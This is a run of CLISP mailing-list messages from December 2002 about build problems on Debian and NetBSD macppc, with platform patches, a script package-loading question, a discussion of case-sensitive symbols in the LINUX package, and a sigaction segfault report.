Concerning the read-integer, read-float, etc... problem, the
CVS from 17 December seems fine, at least for reading float and
positive integers.

The same code in CVS solves the localization problem. But I forgot to
mention a still unresolved issue, encountered when compiling on a
Debian woody system, without libncurses-dev. You must add manually to CFLAGS
-DNO_TERMCAP_NCURSES, or at linking lisp.run, there will be unresolved
references to termcap functions. libtermcap is not detected (that means
detected "broken"), but
obviously, the following code in makemake.in is not working properly:

if [ "${with_termcap_ncurses}" = "0" -o "${LIBTERMCAP}" = "broken" ] ; then
  XCFLAGS=$XCFLAGS' -DNO_TERMCAP_NCURSES'
  LIBTERMCAP="";
fi

(around line 700)

In addition, you must apply the following patch:
*** ../src/stream.dORI	Thu Dec 19 19:40:37 2002
--- ../src/stream.d	Wed Dec 18 19:03:54 2002
***************
*** 14812,14815 ****
--- 14812,14816 ----
        if (char_p) *char_p = true;
        return;
+ #ifdef KEYBOARD
      case strmtype_keyboard:
        if (in_sock)
***************
*** 14817,14820 ****
--- 14818,14822 ----
        if (char_p) *char_p = true;
        return;
+ #endif
      case strmtype_twoway_socket:
        obj = TheStream(obj)->strm_twoway_socket_input;

Rebuilding from source the .deb clisp-2.30 package 
does not trigger the bug, as package libncurses-dev is required. So there lies
the problem (patch recommended though)

Sincerely.

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> * In message <87ptrxvoe4.fsf@merceron.meteo.fr>
> * On the subject of "Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more"
> * Sent on 19 Dec 2002 19:45:23 +0100
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
>
> I forgot to mention a still unresolved issue, encountered when
> compiling on a Debian woody system, without libncurses-dev. You must
> add manually to CFLAGS -DNO_TERMCAP_NCURSES, or at linking lisp.run,
> there will be unresolved references to termcap functions. libtermcap
> is not detected (that means detected "broken"), but obviously, the
> following code in makemake.in is not working properly:
> 
> if [ "${with_termcap_ncurses}" = "0" -o "${LIBTERMCAP}" = "broken" ] ; then
>   XCFLAGS=$XCFLAGS' -DNO_TERMCAP_NCURSES'
>   LIBTERMCAP="";
> fi

please look at the top of Makefile - what parameters were passed to makemake?

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> * In message <87znr1vqi2.fsf@merceron.meteo.fr>
> * On the subject of "Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more"
> * Sent on 19 Dec 2002 18:59:49 +0100
> * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> > can you give me more binary representations of floats and integers in
> > various endiannesses?
> 
> Here is a simplified version of the data which started all this:
> And lisp code to test the reading of this data:

this is not too useful as is.

could you please do as you did with 1d0, e.g.:

(#x3f #xf0 0 0 0 0 0 0)  <-->  1d0 big endian
(0 0 0 0 0 0 #xf0 #x3f)  <-->  1d0 little

thanks.

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Date: Thu Dec 19 20:16:02 2002
X-Original-Date: Fri, 20 Dec 2002 11:45:40 +0800

Hi,

I'm playing with CLISP and Kevin Rosenberg's LML, a HTML generator.

A simple LML program looks like this:

  (in-package :lml)

  (page index
    (head
      (title "Testing"))
    (body
      (h1 "Welcome")))

Running CLISP interactively, with :lml loaded via .clisprc.lisp, the above
works.

When I put the above code into a file, added "#!/usr/local/bin/clisp" to
it, and run it from the shell, I get:

  $ ./index.lisp 

  *** - SYSTEM::%FIND-PACKAGE: There is no package with name "LML"

This is CLISP 2.30 on FreeBSD 4.7.

I must be missing something simple... Hints appreciated. 

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> * In message <20021220034540.GB619@vista.netmemetic.com>
> * On the subject of "[clisp-list] Script cannot find package"
> * Sent on Fri, 20 Dec 2002 11:45:40 +0800
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>
> Running CLISP interactively, with :lml loaded via .clisprc.lisp, the
> above works.
> 
> When I put the above code into a file, added "#!/usr/local/bin/clisp" to
> it, and run it from the shell, I get:
>   *** - SYSTEM::%FIND-PACKAGE: There is no package with name "LML"

<http://clisp.cons.org/clisp.html#opt-exec-file>
scripts do not load RC.
dump your image or load LML from your scripts explicitly.


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--=-=-=


I am running clisp-2.27 on a NetBSD-1.6 macppc machine.  I would like
to upgrade to clisp-2.30, but I am having trouble getting 2.30 to
compile.

clisp-2.27 also does not compile on this platform without some
patches.  I don't think that these patches have been merged back into
the clisp source tree, because the changes don't show up in the 2.30
sources.  I have attached the patch files to this email message in the
hopes that they may be applied and checked into CVS.

After applying the patches needed to get 2.27 to compile to a 2.30
source tree, I am still having trouble with the compilation.  I will
send another email to the list describing the problems in more detail.

-russ



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$NetBSD: patch-aa,v 1.9 2002/02/21 04:13:21 dillo Exp $

--- ../configure.orig	Tue May  8 16:09:59 2001
+++ ../configure
@@ -512,13 +512,6 @@
     makemake_args="$makemake_args --with-nogettext"
   fi
 fi
-if test -d $ABS_DIRNAME/avcall -a -d $ABS_DIRNAME/callback; then
-  (cd $ABS_DIRNAME/avcall && make) &&
-  (cd $ABS_DIRNAME/callback && make) &&
-  (cd $ABS_DIRNAME/avcall && make check) &&
-  (cd $ABS_DIRNAME/callback && make check) &&
-  makemake_args="$makemake_args --with-dynamic-ffi"
-fi
 
 if test -z "$do_build"; then
 

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$NetBSD: patch-ab,v 1.4 2002/03/14 07:44:23 jmc Exp $

--- .././ffcall/avcall/Makefile.in.orig	Tue Jun 12 07:31:01 2001
+++ .././ffcall/avcall/Makefile.in	Wed Mar  6 05:38:16 2002
@@ -117,12 +117,12 @@
 	case "$(OS)" in \
 	  aix3*) syntax=aix.old;; \
 	  aix*) syntax=aix.new;; \
-	  linux*) syntax=linux;; \
+	  linux* | netbsd*) syntax=linux;; \
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-	if test -f avcall-rs6000-$${syntax}.o; then mv avcall-rs6000-$${syntax}.o avcall-rs6000.o; fi
+	cp avcall-rs6000-$${syntax}.lo avcall-rs6000.lo ; \
+	if test -f avcall-rs6000-$${syntax}.o; then cp avcall-rs6000-$${syntax}.o avcall-rs6000.o; fi
 
 avcall-m88k.lo : $(srcdir)/avcall-m88k.s
 	$(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/avcall-m88k.s

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$NetBSD: patch-ac,v 1.4 2002/03/14 07:44:23 jmc Exp $

--- .././ffcall/vacall/Makefile.in.orig	Tue Mar  5 09:50:39 2002
+++ .././ffcall/vacall/Makefile.in	Wed Mar  6 05:38:50 2002
@@ -108,11 +108,11 @@
 	case "$(OS)" in \
 	  aix3*) syntax=aix.old;; \
 	  aix*) syntax=aix.new;; \
-	  linux*) syntax=linux;; \
+	  linux* | netbsd*) syntax=linux;; \
 	  *) syntax=sysv4;; \
 	esac; \
 	$(CC) @GCC_X_NONE@ -c $(srcdir)/vacall-rs6000-$${syntax}.s ; \
-	mv vacall-rs6000-$${syntax}.o vacall-rs6000.o
+	cp vacall-rs6000-$${syntax}.o vacall-rs6000.o
 
 vacall-m88k.o : $(srcdir)/vacall-m88k.s
 	$(CC) @GCC_X_NONE@ -c $(srcdir)/vacall-m88k.s

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--- ../ffcall/callback/vacall_r/Makefile.in.orig	Tue Jun 12 07:31:01 2001
+++ ../ffcall/callback/vacall_r/Makefile.in	Thu Mar 14 07:13:43 2002
@@ -118,11 +118,12 @@
 	  aix3*) syntax=aix.old;; \
 	  aix*) syntax=aix.new;; \
 	  linux*) syntax=linux;; \
+	  netbsd*) syntax=netbsd;; \
 	  *) syntax=sysv4;; \
 	esac; \
 	$(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/vacall-rs6000-$${syntax}.s ; \
-	cp vacall-rs6000-$${syntax}.lo vacall-rs6000.lo ; rm -f vacall-rs6000-$${syntax}.lo ; \
-	if test -f vacall-rs6000-$${syntax}.o; then mv vacall-rs6000-$${syntax}.o vacall-rs6000.o; fi
+	cp vacall-rs6000-$${syntax}.lo vacall-rs6000.lo ; \
+	if test -f vacall-rs6000-$${syntax}.o; then cp vacall-rs6000-$${syntax}.o vacall-rs6000.o; fi
 
 vacall-m88k.lo : $(srcdir)/vacall-m88k.s
 	$(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/vacall-m88k.s

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--- ../ffcall/callback/trampoline_r/Makefile.in.orig	Tue Mar  5 09:57:45 2002
+++ ../ffcall/callback/trampoline_r/Makefile.in	Tue Mar  5 09:57:54 2002
@@ -90,7 +90,7 @@
 	$(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/cache-hppa.s
 
 cache-rs6000.lo : $(srcdir)/cache-rs6000-sysv4.s
-	$(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/cache-rs6000-sysv4.s ; mv -f cache-rs6000-sysv4.o cache-rs6000.o ; mv -f cache-rs6000-sysv4.lo cache-rs6000.lo
+	$(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/cache-rs6000-sysv4.s ; cp cache-rs6000-sysv4.o cache-rs6000.o ; mv cache-rs6000-sysv4.lo cache-rs6000.lo
 
 cache-convex.lo : $(srcdir)/cache-convex.s
 	$(LIBTOOL_COMPILE) $(CC) @GCC_X_NONE@ -c $(srcdir)/cache-convex.s

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--- lispbibl.d.orig	Tue Mar  5 20:53:41 2002
+++ lispbibl.d	Tue Mar  5 20:55:32 2002
@@ -1400,7 +1400,7 @@
     #define intBWsize intBsize
     #define intWLsize intWsize
     #define intBWLsize intBsize
-  #elif (defined(MC680X0) && defined(HPUX_ASSEMBLER)) || defined(SPARC) || defined(HPPA) || defined(MIPS) || defined(M88000) || defined(RS6000) || defined(CONVEX) || defined(S390)
+  #elif (defined(MC680X0) && defined(HPUX_ASSEMBLER)) || defined(SPARC) || defined(HPPA) || defined(MIPS) || defined(M88000) || defined(RS6000) || defined(CONVEX) || defined(S390) || defined(__powerpc__)
     # Der Sparc-Prozessor kann mit uintB und uintW schlecht rechnen.
     # Anderen 32-Bit-Prozessoren geht es genauso.
     #define intBWsize intWsize
@@ -1593,7 +1593,7 @@
     #define intDsize 16
     #define intDDsize 32  # = 2*intDsize
     #define log2_intDsize  4  # = log2(intDsize)
-  #elif defined(MC680Y0) || defined(I80386) || defined(SPARC) || defined(HPPA) || defined(MIPS) || defined(M88000) || defined(RS6000) || defined(VAX) || defined(CONVEX) || defined(ARM) || defined(DECALPHA) || defined(IA64) || defined(S390)
+  #elif defined(MC680Y0) || defined(I80386) || defined(SPARC) || defined(HPPA) || defined(MIPS) || defined(M88000) || defined(RS6000) || defined(VAX) || defined(CONVEX) || defined(ARM) || defined(DECALPHA) || defined(IA64) || defined(S390) || defined(__powerpc__)
     #define intDsize 32
     #define intDDsize 64  # = 2*intDsize
     #define log2_intDsize  5  # = log2(intDsize)

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--- ../ffcall/callback/trampoline_r/test1.c.orig	Thu Mar 14 07:22:04 2002
+++ ../ffcall/callback/trampoline_r/test1.c	Thu Mar 14 07:22:07 2002
@@ -69,7 +69,11 @@
 register void* env __asm__("r12");
 #endif
 #ifdef __rs6000__
+#ifdef __NetBSD__
+register void* env __asm__("r13");
+#else
 register void* env __asm__("r11");
+#endif
 #endif
 #ifdef __m88k__
 register void* env __asm__("r11");

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--- ../ffcall/callback/trampoline_r/trampoline.c.orig	Thu Mar 14 07:23:32 2002
+++ ../ffcall/callback/trampoline_r/trampoline.c	Thu Mar 14 07:23:35 2002
@@ -21,12 +21,16 @@
 #endif
 #endif
 #if defined(__rs6000__)
+#if defined(__NetBSD__)
+#define __powerpcnetbsd__
+#else
 #if !defined(_AIX)
 #define __rs6000sysv4__  /* SysV.4 ABI, real machine code. */
 #else
 #define __rs6000aix__  /* AIX ABI, just a closure. */
 #endif
 #endif
+#endif
 #if defined(__hppanew__)
 /*
  * A function pointer is a biased pointer to a data area whose first word
@@ -259,7 +263,7 @@
 #include <sys/syslocal.h>
 #endif
 /* Inline assembly function for instruction cache flush. */
-#if defined(__sparc__) || defined(__sparc64__) || defined(__alpha__) || defined(__hppaold__) || defined(__rs6000sysv4__) || defined(__convex__)
+#if defined(__sparc__) || defined(__sparc64__) || defined(__alpha__) || defined(__hppaold__) || defined(__rs6000sysv4__) || defined(__convex__) || defined(__powerpcnetbsd__)
 #ifdef __GNUC__
 extern inline
 #if defined(__sparc__) || defined(__sparc64__)
@@ -336,7 +340,7 @@
 #define TRAMP_LENGTH 32
 #define TRAMP_ALIGN 4
 #endif
-#ifdef __rs6000sysv4__
+#if defined(__rs6000sysv4__) || defined(__powerpcnetbsd__)
 #define TRAMP_LENGTH 24
 #define TRAMP_ALIGN 4
 #endif
@@ -872,6 +876,39 @@
 #define is_tramp(function)  \
   *(unsigned short *) (function + 0) == 0x3D60 && \
   *(unsigned short *) (function + 4) == 0x616B && \
+  *(unsigned short *) (function + 8) == 0x3C00 && \
+  *(unsigned short *) (function +12) == 0x6000 && \
+  *(unsigned long *)  (function +16) == 0x7C0903A6 && \
+  *(unsigned long *)  (function +20) == 0x4E800420
+#define hilo(hiword,loword)  \
+  (((unsigned long) (hiword) << 16) | (unsigned long) (loword))
+#define tramp_address(function)  \
+  hilo(*(unsigned short *) (function +10), *(unsigned short *) (function +14))
+#define tramp_data(function)  \
+  hilo(*(unsigned short *) (function + 2), *(unsigned short *) (function + 6))
+#endif
+#ifdef __powerpcnetbsd__
+  /* function:
+   *    {liu|lis} 13,hi16(<data>)		3D A0 hi16(<data>)
+   *    {oril|ori} 13,13,lo16(<data>)		61 AD lo16(<data>)
+   *    {liu|lis} 0,hi16(<address>)		3C 00 hi16(<address>)
+   *    {oril|ori} 0,0,lo16(<address>)		60 00 lo16(<address>)
+   *    mtctr 0					7C 09 03 A6
+   *    bctr					4E 80 04 20
+   */
+  *(short *) (function + 0) = 0x3DA0;
+  *(short *) (function + 2) = (unsigned long) data >> 16;
+  *(short *) (function + 4) = 0x61AD;
+  *(short *) (function + 6) = (unsigned long) data & 0xffff;
+  *(short *) (function + 8) = 0x3C00;
+  *(short *) (function +10) = (unsigned long) address >> 16;
+  *(short *) (function +12) = 0x6000;
+  *(short *) (function +14) = (unsigned long) address & 0xffff;
+  *(long *)  (function +16) = 0x7C0903A6;
+  *(long *)  (function +20) = 0x4E800420;
+#define is_tramp(function)  \
+  *(unsigned short *) (function + 0) == 0x3DA0 && \
+  *(unsigned short *) (function + 4) == 0x61AD && \
   *(unsigned short *) (function + 8) == 0x3C00 && \
   *(unsigned short *) (function +12) == 0x6000 && \
   *(unsigned long *)  (function +16) == 0x7C0903A6 && \

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After applying the 2.27 patches as best as possible, I configured clisp with

  makemake --with-noreadline > Makefile 

I get pretty far along, but stream.c does not compile:

/export/compile/clisp-2.30/with-gcc [74]$ make
make
test -d bindings || mkdir -p bindings
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -c stream.c
stream.d: In function `lisp_completion':
stream.d:9168: warning: implicit declaration of function `rl_refresh_line'
stream.d:9182: warning: variable `array' might be clobbered by `longjmp' or `vfork'
stream.d:9189: warning: variable `ptr' might be clobbered by `longjmp' or `vfork'
stream.d:9205: warning: variable `ptr1' might be clobbered by `longjmp' or `vfork'
stream.d: In function `rd_ch_terminal3':
stream.d:9734: warning: implicit declaration of function `rl_stuff_char'
stream.d:9749: `rl_basic_quote_characters' undeclared (first use in this function)
stream.d:9749: (Each undeclared identifier is reported only once
stream.d:9749: for each function it appears in.)
stream.d:9753: `rl_already_prompted' undeclared (first use in this function)
stream.d:9807: warning: implicit declaration of function `replace_history_entry'
stream.d:9807: warning: assignment makes pointer from integer without a cast
stream.d:9809: warning: passing arg 1 of `free' discards qualifiers from pointer target type
stream.d: In function `make_terminal_stream_':
stream.d:10070: `rl_gnu_readline_p' undeclared (first use in this function)
stream.d: In function `init_streamvars':
stream.d:15293: warning: implicit declaration of function `rl_named_function'
stream.d:15293: warning: passing arg 2 of `rl_bind_key' makes pointer from integer without a cast
stream.d:15297: warning: implicit declaration of function `rl_variable_bind'
stream.d:15300: warning: implicit declaration of function `rl_add_defun'
stream.d:15300: warning: implicit declaration of function `META'
stream.d: In function `rl_memory_abort':
stream.d:15410: warning: implicit declaration of function `rl_deprep_terminal'
stream.d:15412: `rl_gnu_readline_p' undeclared (first use in this function)
*** Error code 1

Stop.
make: stopped in /export/compile/clisp-2.30/with-gcc


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> * In message <87of7g73d4.fsf@thelonious.dyndns.org>
> * On the subject of "Re: [clisp-list] compilation issues on NetBSD-1.6 macppc"
> * Sent on 20 Dec 2002 17:05:43 -0500
> * Honorable Russell McManus <russell_mcmanus@yahoo.com> writes:
>
>   makemake --with-noreadline > Makefile 

wrong argument. try
--with-no-readline
--with-readline=no
--with-readline=off
--without-readline

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Sam Steingold <sds@gnu.org> writes:

> > * In message <87of7g73d4.fsf@thelonious.dyndns.org>
> > * On the subject of "Re: [clisp-list] compilation issues on NetBSD-1.6 macppc"
> > * Sent on 20 Dec 2002 17:05:43 -0500
> > * Honorable Russell McManus <russell_mcmanus@yahoo.com> writes:
> >
> >   makemake --with-noreadline > Makefile 
> 
> wrong argument. try
> --with-no-readline
> --with-readline=no
> --with-readline=off
> --without-readline

I will try with one of the above.  I see the following line in
makemake, which sent me astray:

       --with-noreadline       do not use readline library (even when present)

This is probably a documentation bug.

-russ


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Thanks for the pointer about --with-readline=no.  After applying the
patches[1], and supplying --with-readline=no, I was able to get
clisp-2.30 to compile.

Thanks for the help.  Let me know if any help is required to apply the
patches.

-russ

[1] The patch to lispbibl.d had to be applied by hand because the file
has change a bit since 2.27.

Russell McManus <russell_mcmanus@yahoo.com> writes:

> Sam Steingold <sds@gnu.org> writes:
> 
> > > * In message <87of7g73d4.fsf@thelonious.dyndns.org>
> > > * On the subject of "Re: [clisp-list] compilation issues on NetBSD-1.6 macppc"
> > > * Sent on 20 Dec 2002 17:05:43 -0500
> > > * Honorable Russell McManus <russell_mcmanus@yahoo.com> writes:
> > >
> > >   makemake --with-noreadline > Makefile 
> > 
> > wrong argument. try
> > --with-no-readline
> > --with-readline=no
> > --with-readline=off
> > --without-readline
> 
> I will try with one of the above.  I see the following line in
> makemake, which sent me astray:
> 
>        --with-noreadline       do not use readline library (even when present)
> 
> This is probably a documentation bug.
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> * In message <87vg1oxelm.fsf@thelonious.dyndns.org>
> * On the subject of "Re: compilation issues on NetBSD-1.6 macppc"
> * Sent on 20 Dec 2002 21:58:29 -0500
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> Thanks for the pointer about --with-readline=no.

--with-noreadline should now work too.
please try the CVS head.

> [1] The patch to lispbibl.d had to be applied by hand because the file
> has change a bit since 2.27.

I made a change to lispbibl.d which made the patch unnecessary

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Did I miss something?

With the default behavior of  the reader, all symbols are converted to
uppercase, aren't they.

When you do (describe (find-package "COMMON-LISP")), you get a list of
exported symbols all in upper case, and you can type:
       (car (Car (cAR (CAR '(((((a b ) c) d) e) f)))))
to get (A B). Ok.

But  (describe  (find-package "LINUX"))  shows  that  all the  symbols
def-call-out'ed  are in  low  case, so  up  to now,  I've been  typing
LINUX:|access| and  so on.  But  it seems that LINUX:access  works too
(while LINUX:ACCESS does not. Is  that correct? How comes in that case
the reader does not uppercase LINUX:access? Isn't that a dirty hack?



[15]> (linux:|access| "/tmp" 1)      ;; Works as expexted.
0
[16]> (linux:access "/tmp" 1)        ;; Works too, surprisingly!
0
[17]> (linux:ACCESS "/tmp" 1)        ;; Does not work as expected.

*** - READ from 
#<INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM>
  #<IO SYNONYM-STREAM *TERMINAL-IO*>>: #<PACKAGE LINUX> has no external symbol with name "ACCESS"
1. Break [18]> 


And finally, shouldn't we lispify the symbols in LINUX and have all of
them in upper case?





(Personal taste:  while I understand that this  upper case orientation
of LISP  comes from its long  history, I prefer  case sensitivity, for
example as  implemented in  emacs lisp (ie.  with standard  symbols in
lower case)  ; too bad standadizers of  Common-Lisp choosed historical
behavior).

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On Mon, 23 Dec 2002, Pascal Bourguignon wrote:

> Date: Mon, 23 Dec 2002 21:29:29 +0100 (CET)
> From: Pascal Bourguignon <pjb@informatimago.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] symbol cases
> 
> 
> Did I miss something?
> 
> With the default behavior of  the reader, all symbols are converted to
> uppercase, aren't they.

Yes; this is controlled by the readtable-case property of the
read-table.

> When you do (describe (find-package "COMMON-LISP")), you get a list of
> exported symbols all in upper case, and you can type:
>        (car (Car (cAR (CAR '(((((a b ) c) d) e) f)))))
> to get (A B). Ok.
> 
> But  (describe  (find-package "LINUX"))  shows  that  all the  symbols
> def-call-out'ed  are in  low  case, so  up  to now,  I've been  typing
> LINUX:|access| and  so on.

Yes; that's because the symbols in that package are simply defined
that way. It's horribly inconvenient. For that reason, and its
nonportability, I don't use that package any longer.

> [15]> (linux:|access| "/tmp" 1)      ;; Works as expexted.
> 0
> [16]> (linux:access "/tmp" 1)        ;; Works too, surprisingly!
> 0
> [17]> (linux:ACCESS "/tmp" 1)        ;; Does not work as expected.
> 
> *** - READ from 
> #<INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM>
>   #<IO SYNONYM-STREAM *TERMINAL-IO*>>: #<PACKAGE LINUX> has no external symbol with name "ACCESS"

Strange. What does (readtable-case *readtable*) say at that point?

> And finally, shouldn't we lispify the symbols in LINUX and have all of
> them in upper case?

It would be far more convenient, indeed.

> (Personal taste:  while I understand that this  upper case orientation
> of LISP  comes from its long  history, I prefer  case sensitivity, for
> example as  implemented in  emacs lisp (ie.  with standard  symbols in
> lower case)  ; too bad standadizers of  Common-Lisp choosed historical
> behavior).

This is not a matter of personal taste at all. The way Lisp does it is
more useful than naive case sensitivity, but more technically correct
than case insensitivity.  The standardizers did the right thing by
keeping the best possible design, which accomodates the useful
qualities of both.

Lisp symbol names *are* in fact case sensitive, and can be arbitrary
strings. This is a necessity, which allows Lisp to interface with
arbitrary languages; symbols from another language can be represented
directly as Lisp symbols without having to undergo some name
translation. If you ever write a compiler in Lisp for some other
language, you will be glad.

On the other hand, transforming case on input in the reader or output
in the formatter is quite useful.  One benefit is that in an
interactive session, the stuff printed by the machine is all caps. So
if you type in all lowercase, you can easily separate the conversation
without the need to resort to a different font or color.  I have been
psychologically conditioned into accepting and preferring the case
sensitivity by Unix and C; but I'm not jaded enough to fail to remember
that I indeed had problems with it once upon a time. My perspective
does not represent the norm. ;)



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> * In message <20021223202929.5DC1A25CD3@thalassa.informatimago.com>
> * On the subject of "[clisp-list] symbol cases"
> * Sent on Mon, 23 Dec 2002 21:29:29 +0100 (CET)
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>
> Did I miss something?

the manual? :-) <http://clisp.cons.org/impnotes/pack-dict.html>
or maybe the sources? :-) <modules/bindings/linuxlibc6/linux.lisp>

> But (describe (find-package "LINUX")) shows that all the symbols
> def-call-out'ed are in low case, so up to now, I've been typing
> LINUX:|access| and so on.  But it seems that LINUX:access works too
> (while LINUX:ACCESS does not. Is that correct? How comes in that case
> the reader does not uppercase LINUX:access? Isn't that a dirty hack?

"LINUX" is a case-sensitive package.

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Sam Steingold writes:
> Pascal Bourguignon <pjb@informatimago.com> wrote:
> >
> > Did I miss something?
> 
> the manual? :-) <http://clisp.cons.org/impnotes/pack-dict.html>
> or maybe the sources? :-) <modules/bindings/linuxlibc6/linux.lisp>
> 
> > But (describe (find-package "LINUX")) shows that all the symbols
> > def-call-out'ed are in low case, so up to now, I've been typing
> > LINUX:|access| and so on.  But it seems that LINUX:access works too
> > (while LINUX:ACCESS does not. Is that correct? How comes in that case
> > the reader does not uppercase LINUX:access? Isn't that a dirty hack?
> 
> "LINUX" is a case-sensitive package.

That's it. Clearly not a standard feature...

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Date: Mon Dec 23 18:42:05 2002
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Kaz Kylheku writes:
> > [15]> (linux:|access| "/tmp" 1)      ;; Works as expexted.
> > 0
> > [16]> (linux:access "/tmp" 1)        ;; Works too, surprisingly!
> > 0
> > [17]> (linux:ACCESS "/tmp" 1)        ;; Does not work as expected.
> > 
> > *** - READ from 
> > #<INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM>
> >   #<IO SYNONYM-STREAM *TERMINAL-IO*>>: #<PACKAGE LINUX> has no external symbol with name "ACCESS"
> 
> Strange. What does (readtable-case *readtable*) say at that point?

The default:

[1]> (readtable-case *readtable*)
:UPCASE
[2]> (linux:access "/tmp" 1)
0 

As Sam  said, it's  because LINUX is  a case-sensitive  package (clisp
incompatible stuff).

> > And finally, shouldn't we lispify the symbols in LINUX and have all of
> > them in upper case?
> 
> It would be far more convenient, indeed.

 
> > (Personal taste:  while I understand that this  upper case orientation
> > of LISP  comes from its long  history, I prefer  case sensitivity, for
> > example as  implemented in  emacs lisp (ie.  with standard  symbols in
> > lower case)  ; too bad standadizers of  Common-Lisp choosed historical
> > behavior).
> 
> This is not a matter of personal taste at all. The way Lisp does it is
> more useful than naive case sensitivity, but more technically correct
> than case insensitivity.  The standardizers did the right thing by
> keeping the best possible design, which accomodates the useful
> qualities of both.
> 
> Lisp symbol names *are* in fact case sensitive, and can be arbitrary
> strings. This is a necessity, which allows Lisp to interface with
> arbitrary languages; symbols from another language can be represented
> directly as Lisp symbols without having to undergo some name
> translation. If you ever write a compiler in Lisp for some other
> language, you will be glad.
> 
> On the other hand, transforming case on input in the reader or output
> in the formatter is quite useful.  One benefit is that in an
> interactive session, the stuff printed by the machine is all caps. So
> if you type in all lowercase, you can easily separate the conversation
> without the need to resort to a different font or color.  

As I  said: "history". That is, more  than 30 years old.   Well do you
still run  LISP code 30 years old?   Not much here.  I  would even bet
that more  new common-lisp code will  written this year  than what has
been  from the  origins to  10 years  ago. 

Now, let's see, when was the last time I had to read a listing printed
on a teletype  where the distinction with low  case/up case would have
been  handy?  Something like  25 years  ago.  And  then, the  tty only
printed upper case!   Since then, all the computers  have had color or
distinct fonts  (mind it,  Lisa is  21 years old  and Macintosh  is 19
years old!). 

Clearly,  if  I don't  (setf  (readtable-case *readtable*)  :preserve)
right now, it's because I may  have to use other common-lisp code that
I  don't want  to  have to  edit first.   It  would be  better if  the
standard specified  :preserve...  Since it does not,  you find sources
that  are either in  low case,  in up  case or  mixed, and  you cannot
change  it.  If  the standard  was  :preserve, you  could set  :upcase
anytime if it was necessary for "user interface" reasons.


> I have been psychologically conditioned into accepting and
> preferring the case sensitivity by Unix and C; but I'm not jaded
> enough to fail to remember that I indeed had problems with it once
> upon a time. My perspective does not represent the norm. ;)

Yes, me too.  Mine too. Unfortunately.
 

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> * In message <15879.51535.944428.986251@thalassa.informatimago.com>
> * On the subject of "[clisp-list] Re: symbol cases"
> * Sent on Tue, 24 Dec 2002 03:41:19 +0100
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> As Sam said, it's because LINUX is a case-sensitive package (clisp
> incompatible stuff).

this is a _perfectly_ _compatible_ _extension_.
it does not break any "conforming programs".
yes, case-sensitive packages are not a "standard feature",
but neither are sockets, weak hash tables &c &c.

if you do not like this feature (case-sensitive packages),
you do not have to use it.

if you prefer that "LINUX" is a case-insensitive package, you may ask
Bruno why he made it case-sensitive and try to convince him that he made
a mistake.

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Sam Steingold writes:
> > * In message <15879.51535.944428.986251@thalassa.informatimago.com>
> > * On the subject of "[clisp-list] Re: symbol cases"
> > * Sent on Tue, 24 Dec 2002 03:41:19 +0100
> > * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
> >
> > As Sam said, it's because LINUX is a case-sensitive package (clisp
> > incompatible stuff).
> 
> this is a _perfectly_ _compatible_ _extension_.
> it does not break any "conforming programs".
> yes, case-sensitive packages are not a "standard feature",
> but neither are sockets, weak hash tables &c &c.

True. I looked at make-package instead of defpackage. Sorry.

> if you do not like this feature (case-sensitive packages),
> you do not have to use it.
> 
> if you prefer that "LINUX" is a case-insensitive package, you may ask
> Bruno why he made it case-sensitive and try to convince him that he made
> a mistake.

Well, if we take that it's  a CLISP on linux specific package, it does
not matter.   It was  just surprising to  see that the  reader behaved
specially for the LINUX package.

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How comes I get a seg fault for (linux:sigaction-old linux:SIGCHLD nil)
while (linux:sigaction-old linux:SIGINT nil) is ok?


[3]> (lisp-implementation-version)
"2.30 (released 2002-09-15) (built 3247263145) (memory 3247263385)"
[13]> (linux:sigaction-old linux:SIGINT nil)
0 ;
#S(LINUX:sigaction :|sa_handler| #<FOREIGN-FUNCTION #x0807F270>
   :|sa_mask| #S(LINUX:sigset_t :|val| #(2)) :|sa_flags| 335544320
   :|sa_restorer| #<FOREIGN-FUNCTION #x405BC7F8>)
[14]> (linux:sigaction-old linux:SIGCHLD nil)
Segmentation fault




(With a normal C process, both work correctly).
------------------------------------------------------------------------
#include <signal.h>
#include <stdio.h>

    void print_sa(const char* name,int res,const struct sigaction* act)
    {
        printf("%4s sigaction returned %d\n",name,res);
        printf("%4s->sa_handler   = %08x\n",name,act->sa_handler);
        printf("%4s->sa_sigaction = %08x\n",name,act->sa_sigaction);
        printf("%4s->sa_mask      = %08x\n",name,act->sa_mask);
        printf("%4s->sa_flags     = %08x\n",name,act->sa_flags);
        printf("%4s->sa_restorer  = %08x\n",name,act->sa_restorer);
    }/*print_sa*/

int main(void)
{
    int res;
    struct sigaction oldact;
    res=sigaction(SIGINT,0,&oldact);
    print_sa("INT",res,&oldact);
    res=sigaction(SIGCHLD,0,&oldact);
    print_sa("CHLD",res,&oldact);
    return(0);
}/*main*/
------------------------------------------------------------------------
[pascal@thalassa clisp]$ ./sigaction 
 INT sigaction returned 0
 INT->sa_handler   = 00000000
 INT->sa_sigaction = 00000000
 INT->sa_mask      = 00000000
 INT->sa_flags     = 00000000
 INT->sa_restorer  = 400e87f8
CHLD sigaction returned 0
CHLD->sa_handler   = 00000000
CHLD->sa_sigaction = 00000000
CHLD->sa_mask      = 00000000
CHLD->sa_flags     = 00000000
CHLD->sa_restorer  = 400e87f8
------------------------------------------------------------------------

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How comes I get a seg fault for (linux:sigaction-old linux:SIGCHLD nil)
while (linux:sigaction-old linux:SIGINT nil) is ok?


[3]> (lisp-implementation-version)
